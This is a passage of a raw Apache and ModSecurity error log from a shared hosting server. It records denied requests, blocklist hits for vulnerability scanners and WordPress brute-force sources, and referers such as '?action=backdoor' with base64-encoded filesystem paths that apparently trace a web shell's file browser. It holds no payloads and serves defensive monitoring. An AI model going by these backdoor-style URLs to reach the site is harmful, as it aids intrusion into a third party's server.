https://www.google.com/ [Sat Jun 13 18:23:58.600611 2026] [access_compat:error] [pid 715691:tid 715856] [client 66.249.75.132:51480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:58.601051 2026] [access_compat:error] [pid 715691:tid 715856] [client 66.249.75.132:51480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:58.618424 2026] [access_compat:error] [pid 715691:tid 715736] [remote 57.141.14.56:38790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:58.618890 2026] [access_compat:error] [pid 715691:tid 715736] [remote 57.141.14.56:38790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:58.689533 2026] [security2:error] [pid 715691:tid 715731] [remote 17.246.19.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30nrV-dFiaX9AtWiQpEQABXBU"] [Sat Jun 13 18:23:58.770985 2026] [security2:error] [pid 646876:tid 646968] [remote 17.22.245.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ntyTkdrNlD40tSHV6AAAZVk"] [Sat Jun 13 18:23:58.924501 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:23:58.924971 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:23:58.990794 2026] [access_compat:error] [pid 715691:tid 715837] [remote 57.141.14.92:51786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:58.991257 2026] [access_compat:error] [pid 715691:tid 715837] [remote 57.141.14.92:51786] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:59.006617 2026] [security2:error] [pid 646876:tid 646961] [remote 17.246.19.120:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 120.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30n9yTkdrNlD40tSHV8gAADVI"] [Sat Jun 13 18:23:59.172441 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.34:25734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:59.172899 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.34:25734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:59.308035 2026] [security2:error] [pid 715691:tid 715720] [remote 17.241.227.224:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30n7V-dFiaX9AtWiQpKQABSAo"] [Sat Jun 13 18:23:59.418554 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?act=download&file=softrepeat&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:23:59.418830 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=softrepeat&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:23:59.431398 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.85:50932] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:59.431707 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.85:50932] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:59.483096 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:23:59.483520 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:23:59.527017 2026] [access_compat:error] [pid 715691:tid 715790] [remote 57.141.14.78:49214] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:59.527303 2026] [access_compat:error] [pid 715691:tid 715790] [remote 57.141.14.78:49214] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:59.740249 2026] [security2:error] [pid 646876:tid 646879] [remote 17.246.23.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30n9yTkdrNlD40tSHWAgAARgA"] [Sat Jun 13 18:23:59.791767 2026] [security2:error] [pid 715691:tid 715796] [remote 17.241.219.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30n7V-dFiaX9AtWiQpNwABfVU"] [Sat Jun 13 18:23:59.835967 2026] [security2:error] [pid 715691:tid 715760] [remote 17.22.245.91:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 91.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30n7V-dFiaX9AtWiQpOAABQjE"] [Sat Jun 13 18:23:59.933901 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:23:59.934340 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:23:59.984213 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.107:24069] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:59.984649 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.107:24069] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:00.079118 2026] [access_compat:error] [pid 715691:tid 715775] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:00.079476 2026] [access_compat:error] [pid 715691:tid 715775] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:00.103845 2026] [security2:error] [pid 715691:tid 715741] [remote 17.22.237.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30oLV-dFiaX9AtWiQpQAABMx8"] [Sat Jun 13 18:24:00.506788 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:24:00.507245 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:24:00.663894 2026] [security2:error] [pid 646876:tid 647133] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/url/parse_url_basic_003.phpt"] [unique_id "ai30oNyTkdrNlD40tSHWHgAAAH0"] [Sat Jun 13 18:24:00.800719 2026] [security2:error] [pid 715691:tid 715772] [remote 13.205.160.37:48060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.160.205.13.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "genesisboggs.com"] [uri "/wp-login.php"] [unique_id "ai30oLV-dFiaX9AtWiQpTwABbj0"] [Sat Jun 13 18:24:00.916856 2026] [access_compat:error] [pid 715691:tid 715791] [remote 57.141.14.52:53176] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:00.917298 2026] [access_compat:error] [pid 715691:tid 715791] [remote 57.141.14.52:53176] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:00.935993 2026] [security2:error] [pid 715691:tid 715813] [remote 17.246.23.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30oLV-dFiaX9AtWiQpUwABUmY"] [Sat Jun 13 18:24:01.006079 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:01.006536 2026] [access_compat:error] [pid 646876:tid 647000] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:01.115797 2026] [security2:error] [pid 715691:tid 715774] [remote 17.246.23.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30obV-dFiaX9AtWiQpWgABbD8"] [Sat Jun 13 18:24:01.197832 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.85:50936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:01.198129 2026] [access_compat:error] [pid 715691:tid 715755] [remote 57.141.14.85:50936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:01.419289 2026] [security2:error] [pid 715691:tid 715801] [remote 13.205.160.37:48060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.160.205.13.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "genesisboggs.com"] [uri "/wp-login.php"] [unique_id "ai30obV-dFiaX9AtWiQpYQABIVo"], referer: https://genesisboggs.com/wp-login.php [Sat Jun 13 18:24:01.506354 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50MQ== [Sat Jun 13 18:24:01.506805 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50MQ== [Sat Jun 13 18:24:01.667444 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.18:49986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:01.667729 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.18:49986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:01.679202 2026] [security2:error] [pid 715691:tid 715723] [remote 145.239.79.139:45234] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "dentiststudygroup.com"] [uri "/wp-login.php"] [unique_id "ai30obV-dFiaX9AtWiQpaAABTA0"], referer: https://dentiststudygroup.com/wp-login.php [Sat Jun 13 18:24:01.994750 2026] [security2:error] [pid 715691:tid 715793] [remote 17.241.75.108:0] ModSecurity: 